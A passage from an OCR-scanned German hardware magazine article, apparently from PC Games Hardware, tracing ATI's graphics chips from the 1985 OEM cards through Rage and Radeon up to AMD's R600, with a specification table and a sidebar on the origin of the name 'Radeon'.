Herstellers neben Nvidias Geforce- 
Karten eine von zwei am Markt 
verbliebenen Optionen für PC- 
Spieler bilden, ist das für PC Games 
Hardware ein guter Grund, um an 
dieser Stelle auf die lange Radeon- 
Tradition zurückzublicken. Deren 
Wurzeln liegen in der Zeit vor der 
Übernahme von ATI durch AMD 
und sie reichlich wütend ... 


1985 bis 1991: OEM-Jahre 

Nach der Gründung durch die 
Herren Lee Ka Lau, Benny Lau und 
Kwok Yuen Ho im Jahre 1985 be- 
schäftigte sich „Array Technologies 
Incorporated“, kurz ATI, zunächst 
mit der Belieferung von OEMs, 
Großserienherstellern also, welche 
die damaligen IBM-kompatiblen 
PCs ausstatteten. In der Anfangs- 
phase stellte ATI 8-bittige Grafik- 
karten für den ISA-Steckplatz her, 
die hauptsáchlich noch den ,Mono- 
chrome-Display Adapter Standard“ 
(MDA) bedienten. Dabei handelt 
es sich um einen reinen Textmo- 
dus mit 80 Spalten und 25 Zeilen 
- jedem Zeichen waren fest 9 x 14 
Pixel zugeteilt. Nachdem man sich 
so die erste Zeit über Wasser hielt 
und ein finanzielles Polster aufbau- 
en konnte, entwickelten die ATI- 
Ingenieure später Grafikkarten, die 
unter dem Namen Small Wonder 
im 16-Farb-Standard CGA (Color 
Graphics, Adapter, 320 x 240 Pixel) 
arbeiteten. In einer Weiterentwick- 
lung namens EGA Wonder erfüll- 
ten sie auch den namensgebenden 
EGA-Standard (Enhanced Graphics 
Adapter, 16 aus 64 Farben gleich- 
zeitig) und boten mit ihren 256 Ki- 
Byte Speicher auch spezielle Modi 
mit bis zu 720 x 540 Pixeln Aufló- 
sung, aber reduzierter Farbanzahl. 
Die nächste Karte von ATI war die 


ATIs Fortschritte im 5-Jahres-Takt von 1986 bis 2016 


VGA-Wonder, die den 1987 von IBM 
mit den PS/2-Systemen etablierten 
VGA-Standard erfüllte. Dieser er- 
forderte 256 KiByte Videospeicher, 
eine Farbpalette von 262.144 Far- 
ben, von denen je nach Auflösung 
16 (640 x 480 Pixel) bis 256 (320 
x 200 Pixel) gleichzeitig darstellbar 
sein müssen. Zur VGA-Zeit begann 
langsam auch die Eignung des PCs 
als Spielemaschine zuzunehmen. 
Mit diesen Produkten legte ATI den 
Grundstein für seine langfristig 
guten Verbindungen in den OEM- 
Markt, die sich später noch auszah- 
len sollten. 


ATI Mach: Erste 3D-Schritte 
Die Chips aus ATIs Mach-Reihe, die 
später die ersten 3D-Funktionen 
des Entwicklers bekommen sollten, 
starteten vergleichsweise behäbig. 
Sie entwickelten sich aus den ab 
1991 angebotenen IBM-8514-Klo- 
nen mit rudimentären 2D-Grafik- 
beschleunigungsfunktionen und 
bis zu einem MiByte Grafikspeicher 
(D- oder VRAM). Entsprechende 
Karten wurden nach wie vor für 
den ISA-Steckplatz angeboten. Be- 
reits ein Jahr später ging ATI den 
Schritt von der Mach 8 (für 8 Bit) 
zur Mach 32, welche einen fort- 
schrittlichen 32-Bit-Beschleuniger 
darstellte. Die Karte gab es bereits 
für den VESA Local Bus und den 
damals Steckplatz: 
PCI. Die Speicherschnittstelle war 
64 Bit breit, band ein bis zwei MiB 
VRAM an und erlaubte dem integ- 
rierten VGA-Kern, Video-Modi mit 
bis zu 16,7 Millionen Farben (‚True 
Color“) darzustellen. Die Mach- 
64-Reihe, deren erste Modelle ab 
1994 verkauft wurden, integrierte 
dann zunehmend weitere Funkti- 
onen in den 64-bittigen Kern. Zu- 
nächst handelte es sich dabei um 


modernsten 


Videobeschleunigung, welche die 
486- und frühen Pentium-CPUs 
bei der Wiedergabe der meist nur 


So entstand die „Radeon” 


Haben Sie sich schon einmal gefragt, wie ATI dazu kam, die neue Grafikkartenreihe 
im Jahr 2000 ausgerechnet , Radeon" zu nennen? Wir auch — und haben daher bei 
ATI-Veteran Chris Hook nachgefragt. Eigentlich wollte man die Karten , Radium" 

nennen, hatte aber große Probleme bei der Übersetzung ins Japanische. Phil Eisler, 


damaliger Vice President für Pro- 
duktmarketing und inzwischen 
bei Nvidia für Geforce Now, 
erwähnte das in einem Tele- 
fongesprách mit seiner Mutter 
(kein Scherz!), die vorschlug, 
ein ähnlich klingendes Wort 
zu nehmen, zum Beispiel 
Radian oder eben Radeon. 

So kam ATIs Flaggschiffpro- 
dukt zu seinem Namen, der 
die Muttermarke selbst 
deutlich überlebt hat. 


briefmarkengrofsen Pixelfilmchen 
entlastete. Von den Mach-64-Chips 
gab es viele Ableger, die unter 
klangvollen Namen wie Graphics 
Xpression, Win Turbo, Win Boost, 
Video- oder Win Charger verkauft 
wurden. Doch erst die Mach 64 GT, 
zunáchst vermarktet als 3D-Xpres- 
sion-Grafikkarte, verfügte über 
einfache Beschleunigungsfunktio- 
nen für 3D-Grafik. Diesen Schritt 
wollte das ATI-Marketing aber nicht 
einfach als weitere Revision der 
Mach-64-Reihe machen, sondern er- 
sann das martialisch klingende „3D 
Rage“ (engl. Wut) als nachträgliche 
Bezeichnung für die ersten 3D- 
Chips des Unternehmens. 


Erste Gehversuche mit Rage 
Nachdem der erste 3D-Rage-Chip 
noch eine „Beförderung“ einer äl- 
teren Serie war, ruhte man sich bei 
ATI nicht lange aus, sondern schick- 
te flott einen deutlich fixeren Nach- 
folger hinterher - kreativerweise 
Rage II getauft. Dieser verfügte 
über eine stark gesteigerte Leis- 
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tungsfähigkeit, basierte aber noch 
auf derselben Architektur wie der 
3D Rage. Jedoch nutzte er schnel- 
les EDO- oder SGRAM mit bis zu 83 
MHz Taktfrequenz, welches dem zu 
Direct X 5 kompatiblen Grafikchip 
eine Speicherbandbreite von im- 
merhin gut einem halben Gigabyte 
pro Sekunde bescherte. 


Mit dem folgenden Chip 3D Rage 
Pro verbesserte ATI die Einheiten 
für die Dreieckserstellung, die Per- 
spektivenkorrektur für Texturen 
und fügte Schaltungen für Nebel- 
und Transparenzdarstellung hinzu. 
Ein wichtiger Fortschritt abseits 
des 3D-Bereichs war die erstmals 
ernst zu nehmende Video- und 
DVD-Beschleunigung, welche ATI 
in den kommenden Jahren in die- 
sem Bereich zum Marktführer ma- 
chen sollte - die Hauptprozessoren 
der Zeit waren mit Ausnahme der 
absoluten Spitzenmodelle für DVD- 
Wiedergabe zu schwach. Nicht zu- 
letzt aus diesem Grund waren die 
3D-Rage-Pro- und -II-Chips bei den 


Jahr 1986 1991 1996 2001 2006 2011 2016 
Jeweils aktueller Chip CW16800 Mach 8 3D Rage Il Rage R6/R100 R5804- Tahiti Fiji 

Akt. High-End-Modell | ATI Graphics Solution Mach 8 3D Rage ll Radeon 7200 Radeon X1950 XTX Radeon HD 7970 Radeon R9 Fury X 
Fertigung 1.000 nm 800 nm 500 nm 180 nm 80 nm 28 nm 28 nm 
FP-Rechenleistung - - - 250 GFLOPS 3.789 GFLOPS 8.602 GFLOPS 
Texturfüllrate - 60 MTex/Sek. 1.098 MTex/Sek. 10.400 MTex/Sek. 118.400 MTex/Sek. | 268.800 MTex/Sek. 
Speicher-Typ DRAM DRAM/VRAM SDR-SD-/SGRAM DDR-SD-/SGRAM GDDRA (-SDRAM) GDDR5 (-SDRAM) HBM (gen1) 
Speicher-Transferrate 12 MByte/Sek. 64 MByte/Sek. 664 MByte/Sek. 5.856 MByte/Sek. 64.000 MByte/Sek. | 264.000 MByte/Sek. | 512.000 MByte/Sek. 
Speichermenge 64 KiByte 1 MiByte 4 MiByte 64 MiByte 512 MiByte 3.072 MiByte 4.096 MiByte 
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OEM-Herstellern beliebt - 
nicht unbedingt überragender 
3D-Performance und -Features im 
direkten Vergleich mit den über- 
mächtigen Add-on-Karten mit Voo- 
doo-Graphics-Chipsatz. 


trotz 


Ein Übriges taten die lange gewach- 
senen, guten Beziehungen von ATI 
zu den OEMs und natürlich die Un- 
terstützung für den gerade neuen 
AGP-Steckplatz, mit dem jeder Kom- 
plett-PC-Hersteller in Prospekten 
werben wollte und den die ATI- 
Karten als eine der ersten Modell- 
reihen unterstützten. Ein Treiber- 
Update sollte die Leistung deutlich 
steigern und wurde Anfang 1998 
dazu genutzt, dem 3D Rage Pro den 
Zusatz „Turbo“ anzuhängen. Bench- 
marks ergaben jedoch, dass anfangs 
lediglich die Performance im 3D 
Winbench 98 von Ziff-Davis stark 
erhöht wurde, während die Spiele- 
leistung stagnierte - eine ziemlich 
einseitige und für den User sinnlose 
Optimierung also. Es folgten noch 
etliche weitere Varianten der Rage- 
Reihe mit den Namenszusätzen 
LT, XL und Ähnlichem, von denen 
einige als äußerst zuverlässige und 
genügsame Grafikchips auch Jahre 
später noch auf Server-Mainboards 
verlötet zum Einsatz kamen - die im 
Vergleich zum Original beschnitte- 
ne 3D-Leistung spielt in diesen Ein- 
satzgebieten natürlich keine Rolle. 


1998: Der erste Gamer-Chip 
In Spielerkreisen so richtig ernst 
genommen wurde ATI allerdings 
erst mit dem 1998 vorgestellten 
Chip Rage 128. Dieser brachte viele 
merkliche Verbesserungen gegen- 
über den Vorgängern und konnte 


- sowohl was die 3D-Features als 
auch die 3D-Leistung betraf - mit 
der Konkurrenz in Form von 3Dfx, 
Matrox, Nvidia und S3 mithalten 
und sie in einigen Bereichen so- 
gar übertreffen. Neben bi- und 
trilinearer Filterung war vernünftig 
Alpha-Blending 
(damals nicht selbstverständlich) 
ebenso mit von der Partie wie die 
Unterstützung von Bump-Mapping 


funktionierendes 


und einem 8-bittigen Stencil-Buffer. 
In den Chip mit circa 8 Millionen 
Transistoren quetschten die Inge- 
nieure zwei parallele Pipelines, so- 
dass zwei Pixel gleichzeitig berech- 
net und die 3D-Leistung auf einen 
Schlag verdoppelt werden konnte. 


Auch die Verbreiterung der Spei- 
cherschnittstelle auf zeitgemäße 
128 Bit und der Einsatz leistungs- 
fördernder 8-KiB-Caches für Tex- 
turen und Pixel sorgten insbeson- 
dere 
marketingträchtigen 32-Bit-Modus 
für einen Leistungssprung. Im 
16-Bit-Modus waren die Karten da- 


im erstmals unterstützten, 


gegen meist etwas langsamer als 
ihre Konkurrenz - und die meisten 
Benchmarks dieser Zeit wurden un- 
ter anderem aus Rücksicht auf die 
3Dfx-Karten noch in 16 Bit Farb- 
tiefe durchgeführt. Auch litten die 
Karten häufiger unter Treiberpro- 
blemen als die des Wettbewerbs. 
Die DVD-Beschleunigung der Rage 
128 jedoch war konkurrenzlos, 
denn ATI hatte neben der üblichen 
Bewegungskompensation auch die 
sonst von der CPU geschulterte 
und besonders rechenaufwendige 
Inverse Discrete Cosinus Transfor- 
mation in Hardware gegossen - ein 
Segen für schwächere Prozessoren. 


Radeon 256: Mitte 2000 löste ATI die alternden Rage-Chips mit diesem fortschrittli- 
chen Modell ab. HT&L und effiziente Speichernutzung wussten zu gefallen. 
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Von den Rage-128-Chips existierte 
zunächst der Vollausbau mit ,GL*- 
Zusatz und eine „VR“-Version mit 
auf 64 Bit beschnittenem Speicher- 
bus. Anfang 1999 kam eine verbes- 
serte Version namens Rage 128 Pro 
auf den Markt, die neben erhöhten 
Taktraten auch über verbesserte 
Einheiten für die Dreieckserzeu- 
gung 
pression verfügte. Der Chip konn- 


sowie Direct-X-Texturkom- 


te nun 8 Millionen Dreiecke pro 
Sekunde verarbeiten und erreichte 
dank 125 MHz Taktfrequenz die 
theoretische Leistungsfähigkeit von 
Nvidias TNT2-Standardchip. Er kam 
im Herbst desselben Jahres auch 
auf ATIs erster Dual-GPU-Karte, der 
Rage Fury MAXX, zum Einsatz, wel- 
che als Notnagel die übermächtige 
Konkurrenz der Geforce-Karten in 
Schach halten sollte, bis die nächste 
ATI-Generation auf den Markt kam. 


Technikvorsprung: Radeon 
Da die Rage-Reihe mit der Fury 
Maxx Ende 1999 ihr finales Modell 
erhalten hatte, hatten die Kanadier 
alle Anstrengungen auf einen neu- 
en Chip konzentriert, der technisch 
nicht nur den Anschluss wiederher- 
stellen, sondern die Spitzenpositi- 
on auf dem Markt übernehmen soll- 
te. Radeon (wahlweise mit Zusatz 
„256“ oder „DDR“/,SDR“) hieß der 
neue Chip und wurde im Sommer 
2000 vorgestellt. Anfangs trug er 
noch das interne Kürzel R6, doch 
da er mit den Rage-Modellen so gar 
nicht mehr viel gemein hatte, än- 
derte ATI dies im Nachhinein noch 
auf R100. 


Der Chip war wie die Konkurrenz 
von Nvidia mit einer zu Direct X 7 
kompatiblen Hardware-Einheit 
für Dreieckstransformation und 
-beleuchtung (HT&L) 
tet, unterschied sich aber darüber 
hinaus deutlich von der Geforce. 


ausgestat- 


ATI setzte schon damals auf eine 
möglichst effiziente Ressourcen- 
nutzung und stattete den Chip mit 
nur zwei Pixelpipelines aus, die 
aber über je drei Textureinheiten 
verfügten, um aufwendige Textur- 
effekte wie Environment-Mapped- 
Bump-Mapping (EMBM) zu unter- 
stützen. Zudem beinhaltete der 
30-Mio-Transistoren-Chip erstmals 
das sogenannte Hyper-Z-Paket. Un- 
ter diesem Marketing-Begriff fasst 
ATI verschiedene Maßnahmen 
zur effizienten Nutzung der Spei- 
chertransferrate zusammen; zum 
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Erst Rage, dann Radeon - diese beiden 
Serien stellen ATIs wichtigste Produktrei- 
hen dar. Der im Logo noch vorhandene 
Zusatz „АТ!“ wurde 2010 gestrichen. 


Beispiel das schnelle Lóschen des 
Tiefenpuffers oder das vorzeitige 
Entfernen verdeckter Oberflächen. 
Auch erste Komprimierungstech- 
niken trugen ihren Teil dazu bei. 
Die Taktraten konnte ATI dank 
Fertigung in 180 Nanometer Struk- 
turbreite auf 166 bis 183 Megahertz 
bei jeweils identischem Speicher- 
takt und damit über das Niveau der 
anheben. 
Die ersten Radeon-Versionen boten 
einen vergleichsweise schnellen, 
bis zu 16:1-anisotropen Filter, der 


ersten Geforce-Karten 


die Texturschärfe jedoch nur für 
beinahe waage- und senkrechte Flä- 
chen und bei bilinearer Grundfilte- 
rung erhöhte. Die Verwendung von 
Double-Data-Rate-Speicher bei den 
Radeon-DDR-Modellen verdoppel- 
te die nutzbare Datenrate beinahe. 


Die Radeon-Chips verfügten nach 
wie vor über führende Videobe- 
schleunigung und sehr gute 2D- 
Funktionen und spielten in ATIs 
Produktportfolio noch lange eine 
Rolle. 2001 wurde zunächst die Ra- 
deon VE nachgeschoben, bei der 
die T&L-Einheit sowie eine der bei- 
den 3D-Pipelines deaktiviert waren. 
Sie verfügte jedoch über die Mög- 
lichkeit, zwei Monitore gleichzeitig 
zu betreiben - damals bei spiele- 
tauglichen Grafikkarten noch sehr 
ungewöhnlich und eigentlich eine 
Matrox-Domäne. Später im selben 
Jahr legte ATI die Funktionen der 
beiden Reihen in der Radeon 7500 
zusammen, welche dank 150-Nano- 
meter-Fertigung mit 290 Megahertz 
neue Taktrekorde erreichte. 


2001: Radeon kann Shader 

Nachdem bereits die Register-Com- 
biner - aus denen sich später die 
Pixelshader-Einheiten entwickeln 
sollten - der Radeon nur knapp 
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an der  Direct-X-Spezifikation 
für Pixel-Shader 1.0 scheiterten, 
schickte ATI 2001 zusammen mit 
der bereits erwähnten, aber noch 
auf Direct-X-7-Funktionalität basie- 
renden Radeon 7500 die Radeon 
8500 ins Rennen. Charisma-Engine 
und Pixel-Tapestry - wie ATI die 
Vertex- beziehungsweise Pixelsha- 
der-Einheiten nannte - verhalfen 
dem R200-Chip zur Kompatibilität 
mit Microsofts Direct X 8.1 (Pi- 
xelshader 1.4) und damit zu um- 
fangreicheren Funktionen, als sie 
Konkurrent Nvidia mit Geforce 3 
und 4 aufbieten konnte. Der Grafik- 
Prozessor mit 60 Millionen Transis- 
toren setzte auf vier Pixelpipelines 
mit je zwei Textureinheiten und 
konnte diese synchron zum 64 
Megabyte fassenden DDR-RAM mit 
275 MHz takten. Eine LE-Version 
und die später als Radeon 9100 ver- 
marktete, aber unveränderte Neu- 
auflage takteten 25 MHz niedriger. 


Nach wie vor wurde die Spieleleis- 
tung manchmal von Treiberproble- 
men geplagt, aber im Durchschnitt 
konnte sich die Radeon 8500 sehr 
gut gegen die Geforce 3 inklusive 
deren besonders hochgetakteter Ti- 
500-Version behaupten. Neben Di- 
rect X 8.1 bot ATI auch einen sehr 
schnellen anisotropen Filter, der 
allerdings nach wie vor stark win- 
kelabhängig und weiterhin nicht 
mit trilinearer Grundfilterung kom- 
binierbar war. Bei der Kantenglät- 
tung hátte der R200 eigentlich auf 
das qualitativ àufserst hochwertige 
Sparse-Grid-Supersampling setzen 
sollen, ähnlich wie es 3dfx' Voo- 


doo-Á/5-Karten boten. Vermutlich 
aufgrund eines Fehlers im Chip 
konnte dies jedoch nur in Ausnah- 
mefällen aktiviert werden und der 
R200 musste das weniger hübsche, 
aber genauso leistungsfressende 
Supersampling mit geordnetem 
Abtastmuster nutzen. So entstand 
die paradoxe Situation, dass sowohl 
Geforce als auch Radeon beim Ein- 
satz von Kantenglättung (FSAA) 
und anisotroper Filterung (AF) 
stark einbrachen: Erstere wegen 
des FSAA, Letztere aufgrund des AF. 


Im Laufe des Jahres 2001 speckte 
ATI die R200-Architektur so ab, 
dass sie am Ende größtenteils in 
Mainstream-Chip passte. 
Durch Verzicht auf die jeweils zwei- 
te Textureinheit der vier Pipelines 
sowie die Truform-Einheit konnte 
ATI die Radeon 9200 inklusive der 
9250 und 9280 (mit AGP 8x) als 
sehr erfolgreichen Konter zu Nvi- 
dias Geforce 4 MX platzieren, die 
über keine Pixelshader-Funktionen 
verfügte und daher die DX8-Spezi- 
fikation nicht erfüllen konnte. Der 
Erfolg half sowohl ATIs Marktan- 
teilen als auch der Verbreitung von 
shaderfähiger Hardware als Basis 
für den PC-Spielemarkt. 


einen 


Überflieger: Radeon 9700 

Nach der Übernahme des kleinen 
Entwicklers Art X im Jahr 2000, 
der den Grafikchip für Nintendos 
Gamecube-Spielkonsole entwor- 
fen hatte, arbeitete man mit der so 
verstärkten Mannschaft mit Hoch- 
druck an einem Alles-oder-nichts- 
Chip. Der R300, wie der Codename 


Radeon-GPUs im Wandel der Zeit 


Im Laufe der Zeit hat sich nicht nur die Technik stark verändert, auch das Antlitz der Radeon-Grafikchips ist heute ein anderes als in den Anfangszeiten. Nicht nur zeigt sich seit 
Jahren der Grafikchip in seiner vollen Pracht, bei High-End-Modellen sind inzwischen die extrem schnellen HBM-Speicherchips mit auf das Package gewandert. 
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2002: R300 im Flip-Chip-Package — der Die liegt frei. 


A 


Radeon 9700 Pro: Im Herbst 2002 überraschte ATI die Welt mit diesem Kracher. Die 
Karte eignete sich viele Jahre zum Spielen und genießt mittlerweile Legendenstatus. 


lautete, sollte nicht nur technisch, 
sondern vor allem auch in der Per- 
formance die Krone erringen und 
so den bislang etwas steinigen Weg 
von ATI glätten. Im September 
2002 war es dann so weit und die 
Kanadier stellten den Chip der Öf- 
fentlichkeit vor. Zur Überraschung 
aller kombinierte man hier viele 
technische Neuerungen, hohe 
Transistorzahl (107 Mio.) und Takt- 
raten von bis zu 325 Megahertz mit 
bewährter 150-Nanometer-Ferti- 
gung - obwohl diese von vielen als 
nicht leistungsfähig genug dafür 
angesehen wurde. 


Doch der R300 und der darauf ba- 
sierende Radeon 9700 (Pro) samt 
ihrer Ableger überzeugten auch 
die Skeptiker auf ganzer Linie: Acht 


< 
144 


Pixelpipelines und 256 parallele 
Datenleitungen zum Speicher ver- 
doppelten mit einem Schlag die 
potenzielle Leistungsfähigkeit und 
die Erfüllung des erst später, Ende 
2002, veröffentlichten Standards 
Direct X 9 tat ein Übriges, um ATI 
auf den 3D-Olymp zu hieven. Selbst 
die mehr als ein halbes Jahr später 
erschienene Geforce FX konnte die 
Radeon in Direct-X-9-Spielen nicht 
schlagen, zu clever und transis- 
torsparend hatte ATI das Konzept 
von Direct X 9 umgesetzt und war 
so in der Lage, nicht nur die übli- 
chen vier, sondern entsprechend 
der Anzahl der Pixelpipelines acht 
komplette Shadereinheiten auf 
dem Chip unterzubringen. Mit der 
kurze Zeit später erschienenen Ra- 
deon 9500 Pro gab es zusätzlich 


2015: Die Fiji-GPU integriert HBM auf dem Package. 
wo — Š 
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den absoluten Preis-Leistung-Tipp 
der damaligen Zeit - lediglich die 
Speicheranbindung war auf 128 
Bit abgespeckt und die Taktraten 
auf das etwas niedrigere Niveau 
der ebenfalls erhältlichen Radeon 
9700 ohne „Pro“ gesenkt. Weniger 
empfehlenswert war trotz gleicher, 
erfolgversprechender Architektur 
die Radeon 9500 - 64 MiByte Vi- 
deospeicher waren bereits etwas 
knapp und die Hälfte der Pipelines 
war abgeschaltet. Bei Moddern 
war die Karte dennoch sehr be- 
liebt, denn viele Exemplare ließen 
sich auf das Niveau der teureren 
9500 Pro oder gar der 9700 per 
Treiber- oder BIOS-Mod freischal- 
ten. Ferner verbesserte ATI auch 
die wichtige anisotrope Filterung, 
welche nun eine etwas geringere 
Winkelabhängigkeit aufwies und 
vor allem mit trilinearer Grundfil- 
terung kombinierbar wurde. Auch 
die Kantenglättung brachte ATI 
mit der Radeon 9700 Pro und ihren 
Derivaten in den Mainstream: 2x 
Multisample-Antialiasing war sehr 
oft mit nur sehr geringen Fps-Ein- 
bußen verbunden und auch mit 4x 
und sogar dem maximal möglichen 
6x MSAA erzielten insbesondere 
die Topmodelle 9700 Pro häufig 
noch flüssige Bildraten. 


Im Jahr darauf beschleunigte ATI 
die Architektur im R350-Chip und 
der Radeon 9800 Pro sogar auf 380 
MHz, bevor Ende 2003 die finale, 
mit 412 Megahertz getaktete Versi- 
on der Architektur in Form der Ra- 
deon 9800 XT erschien und Nvidias 
Geforce-FX-Reihe endgültig deklas- 
sierte. Im Laufe des Jahres 2003 ska- 
lierte ATI die Architektur herunter 
und brachte zunächst mit der Ra- 
deon 9600 und später mit der nied- 
riger taktenden 9550 zwei Karten 
auf Basis eines nativen 4-Pipeline- 
Chips (RV350/360) in die (untere) 
Mittelklasse - in Shader-2.0-Spielen 
wie den 2004er-Blockbustern Far 
Cry oder Half-Life 2 konnten diese 
Chips sogar die High-End-Modelle 
der Geforce FX in Schach halten. 
Als technischer Bremsklotz er- 
wies sich das Festhalten ATIs an 
den zuvor noch fortschrittlichen 
Radeon-92x0-Karten - denn diese 
bedienten bis Mitte 2004 weiterhin 
das Einsteigersegment unterhalb 
der Radeon 9550 (SE), boten nach 
wie vor aber nur Unterstützung für 
Shader-Model 1.x und somit kein 
Direct X 9. Zwar war die Spieleleis- 
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tung der Karten damit weit über 
der Geforce FX 5200, aber der für 
die Hersteller wichtige Packungs- 
aufkleber „Direct X 9” fehlte. 


2004: Erst „Х“, dann PCI-E. 
ATI ruhte sich nicht auf den Lor- 
beeren aus, sondern entwickelte 
neben den Refresh-Modellen im 
Hintergrund fleifšig weiter, bis man 
im Frühjahr 2004 dann die X-Serie 
präsentieren konnte. Abermals ver: 
doppelte ATI die Architektur des 
Vorgängers auf nun 16 Pixelpipe- 
lines, denen sechs Vertexshader 
zuarbeiten. Und durch den Wech- 
sel auf eine modernere Fertigung 
konnten die Kanadier die Taktraten 
auf Werte bis 520 Megahertz he- 
raufsetzen - allerdings nur für die 
recht seltene X800 XT-PE, die dafür 
Nvidias erstarktes Konkurrenz- 
produkt Geforce 6800 Ultra fast 
immer hinter sich lassen konnte. 
Wesentlich erfolgreicher war mit 
der X800 Pro wieder einmal ein 
abgespecktes Modell, das ab Werk 
nur über zwölf aktive Pixelpipe- 
lines verfügte. Die restlichen vier 
ließen sich durch eine Modifikati- 
on aber häufig freischalten, sodass 
der glückliche Kunde beinahe die 
Performance der wesentlich teu- 
reren X800 XT erhielt. Die rosigen 
Zeiten, als ATI Nvidias Geforce FX 
nach Belieben dominierte, waren 
jedoch erst einmal vorbei. 


Im Sommer desselben Jahres stell- 
te ATI seine ersten nativen PCI- 
Express-Karten vor. Für die gerade 
frischen X800-Chips (Codename 
R420) gab es eine Neuauflage als 
R423, bei den kleineren Ablegern 
war man direkt auf den neuen An- 
schluss gewechselt und so kamen 
X300, X600 und etwas später X700 
nur mit Brückenchip für den AGP- 
Anschluss heraus. Die X300- und 
X600-Chips waren bis auf die Sys- 
temschnittstelle im Wesentlichen 
unverändert gegenüber der Vor- 
gängergeneration und kamen mit 
vier Pixelpipelines auf den Markt. 


Der X700 (RV410) dagegen war 
eine Neuentwicklung im 110-Nano- 
meter-Prozess und sollte die Mittel- 
klasse stärken. Sechs Vertexshader 
und acht Pixelpipelines waren da- 
für über ein 128-Bit-Interface an 
den GDDR3-Speicher angeschlos- 
sen. Von den ursprünglich geplan- 
ten Pro- und XT-Modellen erblickte 
nur Ersteres das Licht der Händler- 


regale. Für die X700 XT waren die 
Taktziele zu hoch angesetzt und die 
Karte musste gestrichen werden. 


Auch für den X800-Chip versuch- 
te sich ATI an einer kostensparen- 
deren Version in 110-Nanometer- 
Fertigung. Die daraus resultierende 
Radeon X800 XL (R430-Chip) kam 
jedoch bei den Taktraten nur auf 
merklich niedrigere Werte als die 
bereits bestehenden X800-Chips 
und wurde hauptsächlich mit 400 
MHz Chiptakt verkauft. Durch ihre 
16 Pipelines lag die Leistung jedoch 
meist über derjenigen der X800 
Pro mit 475 MHz und nur zwölf 
Pipelines. So produzierte ATI auch 
die zum Jahreswechsel 2004/2005 
Radeon-X850-Reihe 
mit abermals gesteigerten Takt- 
raten im inzwischen bewährten 
130-Nanometer-Prozess. Die Chips 
kamen in je einer Version für AGP 
als R481 und PCI-Express als R480 
heraus. Der Wechsel zu PCI-Express 
erlaubt auch die Weichenstellung 
für Crossfire. Es dauerte allerdings 
noch bis Mitte 2005, bevor die Mul- 
ti-GPU-Technik auf den Markt kam. 


erschienene 


X1000-Reihe: Shader- 

Modell 3, aber richtig 

ATIs Sparpolitik bei den Chips, 
die mit 160 Millionen Transisto- 
ren bei der R420 bis R481 bisher 
eine sehr hohe Performance ga- 
rantieren konnte, begann sich ein 
wenig zu rächen, nachdem der 
wiedererstarkte Konkurrent Nvi- 
dia mit der Geforce-6800-Reihe 
marketingträchtig auf die Vorteile 
von Shader-Modell 3 pochte. Nach 
monatelangen Verzögerungen auf- 
grund eines Bugs im Flaggschiff- 


Chip R520 stellte ATI im Oktober 
2005 die komplette X1000-Reihe 
vor. Darin, so warb man, seien die 
Vorzüge des SM3 so umgesetzt, 
dass man (implizit im Gegensatz 
zur Geforce 6) auch wirklich etwas 
damit anfangen könne. Und in der 
Tat: Anfangs punktete die X1800 als 
neues High-End-Modell besonders 
bei dynamischen Verzweigungen 
in Shaderprogrammen gegen die 
Nvidia-Konkurrenz. Dafür fiel der 
Chip erstmals seit Langem auch 
größer und transistorreicher als die 
Nvidia-Gegenspieler aus und muss- 
te folglich auf 16 Pixelpipelines 
und ein 256 Bit breites Speicherin- 
terface beschränkt bleiben. In den 
ersten Tests zeigte sich daher auch 
hauptsächlich der Nachteil im Tex- 
turdurchsatz, weniger die potenzi- 
ell mächtigere Shader-Architektur. 


Mit der Zeit und steigender Shader- 
lastigkeit der Spiele konnte ATIs 
X1800 jedoch das zukunftswei- 
sende, aber teuer umzusetzende 
Threading-Konzept immer besser 
gegen die Geforce in Stellung brin- 
gen und mit der im Januar 2006 
folgenden X1900-Reihe, deren Sha- 
der-zu-Textur-Verhältnis von 1:1 bei 
der X1800 auf nunmehr 3:1 wuchs, 
sogar noch ausbauen. Weniger er- 
folgreich war die kleinere X1600- 
Version, die mit einer ähnlichen 
Architektur wie die große Schwes- 
ter ausgestattet war und so zwar 
über eine hohe Shaderleistung (ca. 
75 Prozent der X1800 XT), aber 
im Gegensatz zur X1900 lediglich 
über ein Viertel der Texturleis- 
tung verfügte. Das kleinste Modell 
hingegen, die Radeon X1300, war 
gegenüber der Geforce wieder gut 


` 


< 


Mit den X1000-Karten der Jahre 2005 und 2006 bot Ati technologisch mehr als Nvi- 
dia. Auch der charakteristisch laut róhrende Referenzkühler bleibt in Erinnerung. 
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aufgestellt und konkurrenzfähig, 
sodass es sich gut verkaufte. Zu- 
gute kamen ihm dabei auch der 
niedrige Stromverbrauch und die 
nach wie vor sehr guten Video- 
Fähigkeiten. 


2006: ATI geht an AMD 

Kurz nach der Vorstellung des Re- 
freshes der X1900-Reihe mit bis zu 
1 GHz schnellem GDDRÁ-RAM bei 
der auch optisch überarbeiteten 
X1950 XTX fand die Übernahme 
ATIs durch AMD statt. Bekannt- 
gegeben wurden die Pläne am 
24. Juli 2006 und am 25. Oktober 
hatte AMD ATIs Existenz als eigen- 
ständige Firma beendet. Die 5,4 
Milliarden Dollar, die die Texaner 
investierten, sollten sich als erheb- 
liche Belastung für AMD erweisen. 
Dafür erhielten die Athlon-Ma- 
cher Zugang zu einer kompletten 
Plattform-Infrastruktur samt Main- 
board-Chipsätzen mit integrierter 
Grafik, 3D-Beschleunigerkarten 
und ATIs Multi-GPU-Technik Cross- 
fire. 


HD 2000: Das Tal 

der Tränen 

Die Übernahme schien zunächst 
unter keinem guten Stern zu ste- 
hen. AMDs erster Direct-X-10-Chip 
war der mächtige R600. Leider 
waren hauptsächlich die Chipgrö- 
ße - mit knapp 430 Quadratmilli- 
metern Flàche die bis dahin grófste 
AMD-GPU - sowie die Leistungs- 
aufnahme mit mehr als 200 Watt 
beeindruckend; beide Kennzahlen 
hátte AMD sicherlich lieber etwas 
kleiner gehabt. Unglücklicherwei- 
se hatte man sich beim Design 
des Chips etwas verschätzt und so 
boten der R600 und die zugrunde 
liegende, komplett auf FP16-Funk- 
tionen ausgerichtete Architektur 
viele Funktionen, die Mitte 2007 
so noch gar nicht benótigt wurden. 
Da sich grofser Funktionsumfang 
und hohe Leistungsfähigkeit oft 
gegenseitig behindern, erfüllte 
auch die Performance die hochge- 
steckten Erwartungen nicht - 320 
Shader-Einheiten standen lediglich 
jeweils 16 Textur- und ROP-Einhei- 
ten gegenüber. 


Besonders mit aktivierter Kan- 
tenglättung - ein Bereich, in dem 
der mit 512 parallelen Datenlei- 
tungen an den bis zu 1 GiByte gro- 
ßen GDDR3/4-RAM angebundene 
R600 eigentlich hätte glänzen sol- 
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len - fiel die Radeon-Karte deutlich 
